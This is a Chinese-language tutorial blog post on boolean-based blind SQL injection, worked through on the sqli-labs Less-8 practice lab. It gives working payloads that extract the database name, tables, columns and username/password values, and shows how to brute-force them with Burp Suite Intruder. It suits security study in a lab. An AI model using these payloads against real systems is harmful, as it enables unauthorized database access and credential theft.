布尔盲注——多种方式实现及利用burpsuite爆破

目录

1、判断闭合符类型

 2、爆数据库长度

 3、查询库名

手动注入

burpsuite爆破

 方法一:用ASCII码值转化爆破

 方法二:left方法直接爆破字母

 方法三:if方法爆破注入(最简单)

 4、爆破表名

 5、爆破具体值


当我们改变前端页面传输给后台sql参数时,页面没有显示相应内容也没有显示报错信息时,页面呈现出两种状态,正常或者不正常。根据这两种状态可以判断我们输入的语句是否查询成功。不能使用联合查询注入和报错注入,这时我们可以考虑是否为基于布尔的盲注。

接下来我们用实例来感受下布尔盲注!!

以sqli-labs-masterless-8关为例:

1、判断闭合符类型

当输入

?id=1' 

页面显示没有结果

 但当加入--+之后,页面又显示正常,这说明,闭合符就是

 当输入

?id=1' and 1=1 --+        #显示正常

?id=1' and 1=1 --+        #显示异常

 就可以确定是布尔盲注了.

 2、爆数据库长度

?id=1' and length(database())>=10 --+

 length()函数返回字符串的长度,这里采用二分法,直到找到一个分界点,即为数据库长度,这里得到长度为8

 3、查询库名

手动注入

手动一个一个测试

ascii()  #返回ASCII码值

substr(要截取的字符串,开始位,截取的长度)        #截取字符串

 构造payload:

?id=1' and ascii(substr(database(),1,1))>=115 --+        #显示正常

?id=1' and ascii(substr(database(),1,1))>=116 --+        #显示异常

 说明数据库名的第一个字符的ascii码值为115,查询ascii码表即可得知对应的字符为s

查询第二个字符需要将开始位改为2,再一个一个查询即:

?id=1' and ascii(substr(database(),2,1))>=115 --+ 

 已知库名长度为八,我们可以尝试手动注入八次,但是这样消耗的时间太长了,我们还可以利用脚本和burpsuit来爆破,这里演示用bp爆破库名

burpsuite爆破

可以采用三种方式来构造payload进行爆破

?id=1' and ascii(substr(database(),1,1))=115 --+

?id=1' and left(database(),1)='s' --+
 

 方法一:用ASCII码值转化爆破
?id=1' and ascii(substr(database(),1,1))=115 --+

 substr的第一个1表示从第一位开始,第二个一表示每次爆破一位,于是我们的爆破点就有两个

 一号爆破点选择1~8,因为之前我们已经得知数据库名字长度为8位了,所以只需选择一到八

二号爆破点选择的是字母的ascii码值,可以从本地导入,于是得到库名

 查询ascii码表即可得知库名为security

 方法二:left方法直接爆破字母

介绍一下left函数 left(参数1,参数2) 意为 将参数1从左开始取参数2个

示例: left(abc,2) 返回值为ab

之后将他与字符串进行比较 例如 left(abc,1)>'a' 返回结果为false 因为 ‘a’=‘a’

同样的left(abc,2)>'aa' 返回结果为TURE 因为‘ab’是要大于‘aa’

根据返回的结果的真假 与前面的语句用and相连接 构造逻辑关系

及 后面结果为真 页面就正常回显 若后面的语句为假 则 页面回显异常

构造payload:

?id=1' and left(database(),1)='s' --+

 用burpsuite抓包后选择字符为爆破点

 爆破内容选择a~z26个字母

 第一个爆破结果如图所示,这种方法的限制是一次只能爆破一个字母

 如果要接着爆破下一个字母,需要在爆破点前加上爆破出来的字母,并将left函数里面的数字修改。如:爆破第二个字母,需要将1改为2,并在爆破点前加上刚刚爆破出来的s,这是由left的匹配机制所决定的,2的意思是字符的前两个字母,于是需要加上s

 爆破出来的第二个字母为e

 后面也都是一样的步骤,这里就不赘述了。用left()从database()中选取字符进行爆破,这种方法的缺点是太过于复杂,需要逐次爆破,通常不使用这种方法。

 方法三:if方法爆破注入(最简单)

if(1=1,1,0)         表示:如果1=1,则返回1,否则返回0;

 构造payload:

?id=1' and if(substr(database(),1,1)='s',1,0) --+

 substr(database(),1,1)=’s'表示从库名选择第一个字母,判断其是否等于s,如果是,则返回1,页面正常显示,如果不是,则返回2,页面显示异常

选择两个爆破点:

 爆破结果:得到库名security

 4、爆破表名

?id=1' and if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a',1,0) --+

 select table_name from information_schema.tables where table_schema=database():在当前数据库内查询表名,由于一个数据库中通常有许多表,于是我们需要用 limit 0,1来限制行数,

limit 0,1表示从第一条开始取出一条数据,需要注意的是limit默认下标从0开始,第一个参数是下标,查数据的话是从第一条查,第二个参数限定了几条数据。

(select table_name from information_schema.tables where table_schema=database() limit 0,1):选择第一行的数据,即第一个表名

substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1):每次取一个字母进行爆破,第一个1表示从第一个字母开始,第二个一表示每次取一个

选择爆破点,依旧还是选择集束炸弹模式,让两个爆破点爆破的数据随机组合

 这里由于不知道表名有多少个字符,字典可以选择长一点,这里我们选择0~20

 第二个爆破点依旧选择26个字母

 最终得到第一个表名:emails

 后面继续爆破剩下的表名,只需改动limit为对应行即可,如要爆破第二个表名,只需将limit 0,1改为limit 1,1即可。

得到第2个表名referers,后面就不再一一演示了。

 

 5、爆破列名

只需将表名改为列名,并限制要查询表的名称,如要查询users表中的列名,构造payload

?id=1' and if(substring((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='a',1,0)--+

 同样可以一个一个地查询列名 

 

 但是一行一行查太麻烦了,我们可以尝试一次查询多行,只需将limit限制查询的行数也进行爆破即可。爆破点如下:

 爆破结果:

 5、爆破具体值

我们尝试爆破password和username两列的值,由于username和password列中有许多组数据,这里就只示例一组数据的爆破。

首先爆破username的值,构造payload

?id=1' and if(substring((select username from users limit 0,1),1,1)='a',1,0)--+

 

 得到第一个username的值dumb:

接下来爆破password的值:

构造payload:

?id=1' and if(substring((select password from users limit 0,1),1,1)='a',1,0)--+

 

 得到password依旧为dumb

 

 于是我们拿到了第一组数据,其username和password均为dumb;

今天就写到这里啦,喜欢的话给我点个赞吧,我们一起成长!!!

后续还会更新更多sql注入的内容,喜欢的宝子可以关注我的sql专栏哦~_~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/51074.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java | Leetcode Java题解之第279题完全平方数

题目&#xff1a; 题解&#xff1a; class Solution {public int numSquares(int n) {if (isPerfectSquare(n)) {return 1;}if (checkAnswer4(n)) {return 4;}for (int i 1; i * i < n; i) {int j n - i * i;if (isPerfectSquare(j)) {return 2;}}return 3;}// 判断是否为…

夜不能寐?解锁失眠自救秘籍,让你重拾安睡之夜!

在这个快节奏的时代&#xff0c;失眠似乎成了许多人的“隐形伴侣”&#xff0c;悄悄侵蚀着我们的健康与幸福感。夜深人静&#xff0c;万籁俱寂之时&#xff0c;你却辗转反侧&#xff0c;难以入眠&#xff0c;第二天又拖着疲惫的身躯迎接新的挑战。别担心&#xff0c;今天我们就…

大脑自组织神经网络通俗讲解

大脑自组织神经网络的核心概念 大脑自组织神经网络&#xff0c;是指大脑中的神经元通过自组织的方式形成复杂的网络结构&#xff0c;从而实现信息的处理和存储。这一过程涉及到神经元的生长、连接和重塑&#xff0c;是大脑学习和记忆的基础。其核心公式涉及神经网络的权重更新…

前端实习手计(5):班味十足?!

自我感觉没有班味&#xff01;&#xff01;&#xff01;每天还是快快乐乐上班哇&#xff0c;是愉快的一周~这周没有太多活咯&#xff0c;基本就是修修改改改代码学习。真的感觉自己写的代码就是乱七八糟&#xff0c;只要能跑起来有效果就行&#xff08;我不是合格的处女座哈哈哈…

二分法各种边界,大彻大悟

1要考虑四个角度的“边界”&#xff0c;如下图 2 先考虑角度a的第一种情况 如下图所示&#xff0c;对于左边的情况&#xff0c;因为当l3&#xff0c;r4的时候&#xff0c;mid等于3&#xff0c;已知target4, 如果lmid就陷入死循环&#xff0c;所以l。右边同理。 判断c1 c2的影…

50、PHP 实现选择排序

题目&#xff1a; PHP 实现选择排序 描述&#xff1a; n个记录的文件的直接选择排序可经过n-1趟直接选择排序得到有序结果&#xff1a;(1)初始状态&#xff1a;无序区为R[1…n]&#xff0c;有序区为空。(2)第1趟排序在无序区R[1…n]中选出关键字最小的记录R[k]&#xff0c;将…

在Spring Boot中优化if-else语句

在Spring Boot中&#xff0c;优化if-else语句是提升代码质量、增强可读性和可维护性的重要手段。过多的if-else语句不仅会使代码变得复杂难懂&#xff0c;还可能导致代码难以扩展和维护。以下将介绍七种在Spring Boot中优化if-else语句的实战方法&#xff0c;每种方法都将结合示…

热门音效、BGM哪里可以免费下载?

剪辑的奇妙世界等你探索&#xff01;在这个创意的领域里&#xff0c;音效是创造氛围、增强表现力的重要元素。我整理了8个优质的剪辑音效素材网站&#xff0c;它们提供了丰富多样的音效资源&#xff0c;无论是制作视频、音乐还是动画&#xff0c;都能为你提供所需的声音。 1、b…

Windows Server 2012 R2无法安装VMWare Tools

需要安装KB2919355补丁&#xff0c;下载地址如下&#xff1a; https://catalog.s.download.windowsupdate.com/d/msdownload/update/software/crup/2014/02/windows8.1-kb2919355-x64_e6f4da4d33564419065a7370865faacf9b40ff72.msu

大模型学习笔记十四:Agent模型微调

文章目录 一、大模型需要Agent技术的原因二、Prompt Engineering可以实现Agent吗&#xff1f;&#xff08;1&#xff09;ReAct原理展示和代码&#xff08;2&#xff09;ModelScope&#xff08;3&#xff09;AutoGPT&#xff08;4&#xff09;ToolLLaMA 三、既然AutoGPT可以满足…

LaTeX如何改变字体颜色

诸神缄默不语-个人CSDN博文目录 在LaTeX文档中&#xff0c;改变字体颜色是一个常见需求&#xff0c;尤其是在需要强调特定文本或使文档更加生动的时候。本文将介绍如何使用\color{}命令来更改字体颜色。 文章目录 基本用法示例代码预定义颜色使用自定义颜色总结本文撰写过程中…

Android 系统权限----系统默认授权

授权方式比较多根据需要进行修改&#xff1a; 1、安装应用时默认授权 应用安装过程中&#xff0c;系统会检查应用申请的各个权限情况&#xff0c;针对安装时权限和运行时权限分别记录。我们可以修改将运行权限也默认授予。代码如下 //frameworks/base/services/core/java/co…

助力樱桃智能自动化采摘,基于嵌入式端超轻量级模型LeYOLO全系列【n/s/m/l】参数模型开发构建果园种植采摘场景下樱桃成熟度智能检测识别系统

随着科技的飞速发展&#xff0c;人工智能&#xff08;AI&#xff09;技术已经渗透到我们生活的方方面面&#xff0c;从智能家居到自动驾驶&#xff0c;再到医疗健康&#xff0c;其影响力无处不在。然而&#xff0c;当我们把目光转向中国的农业领域时&#xff0c;一个令人惊讶的…

跟《经济学人》学英文:2024年07月20日这期 A short history of AI

A short history of AI In the first of six weekly briefs, we ask how AI overcame decades of underdelivering 原文&#xff1a; Over the summer of 1956 a small but illustrious group gathered at Dartmouth College in New Hampshire; it included Claude Shannon,…

leetcode 1937. 扣分后的最大得分「动态规划」「拆项」

1937. 扣分后的最大得分 题目描述&#xff1a; 给你一个n*m的整数矩阵ar&#xff0c;一开始你的得分为0&#xff0c;你想最大化从矩阵中得到的分数 你的得分方式为&#xff1a;每一行 中选取一个格子&#xff0c;选中坐标为 (r, c) 的格子会给你的总得分 增加 points[r][c] …

五、Spring Boot - 上手篇(1)

&#x1f33b;&#x1f33b;目录 一、快速入门&#xff1a;创建第一个SpringBoot 工程1.1 点击File--->New--->Project...1.2 选择版本和依赖的相关骨架包1.3 设置项目保存目录1.4 项目创建完成&#xff0c;工程主界面如下1.5 项目说明1.6 启动项目1.7 编写 HelloControl…

IDEA Maven使用HTTP代理,解决Could not transfer artifact org.xxx问题

文章目录 一、前言二、遇到问题三、分析问题四、HTTP代理五、重新编译验证 一、前言 遇到这个问题&#xff0c;有两种解决办法 IDEA Maven使用HTTP代理&#xff0c;解决Could not transfer artifact org.xxx问题IDEA Maven使用国内镜像&#xff0c;解决Could not transfer arti…

【智能数据分析平台】开发文档

目录 项目介绍需求分析系统架构图技术选型项目开发智能数据分析Excel模板生成图表管理系统优化如何提高模型回答的准确性如何校验上传文件的安全性如何防止接口被恶意盗刷如何节省数据存储空间如何提高处理的速度如果要分析的数据超过了AI模型的输入限制面经仓库项目介绍 用户上…

git,exe-损坏的映像 mingw64\binvlibpcre2-8-0.dll 没有被指定在 Windows 上运行,或者它包含错误。

问题: git,exe-损坏的映像 D:install 2022\zero\programmingigitGit\mingw64\binvlibpcre2-8-0.dl没有被指定在 Windows 上运行&#xff0c;或者它包含错误。请尝试使用原始安装介质重新安装程序&#xff0c;或联系你的系统管理员或软件供应商以获取支持&#xff0c;错误状态0…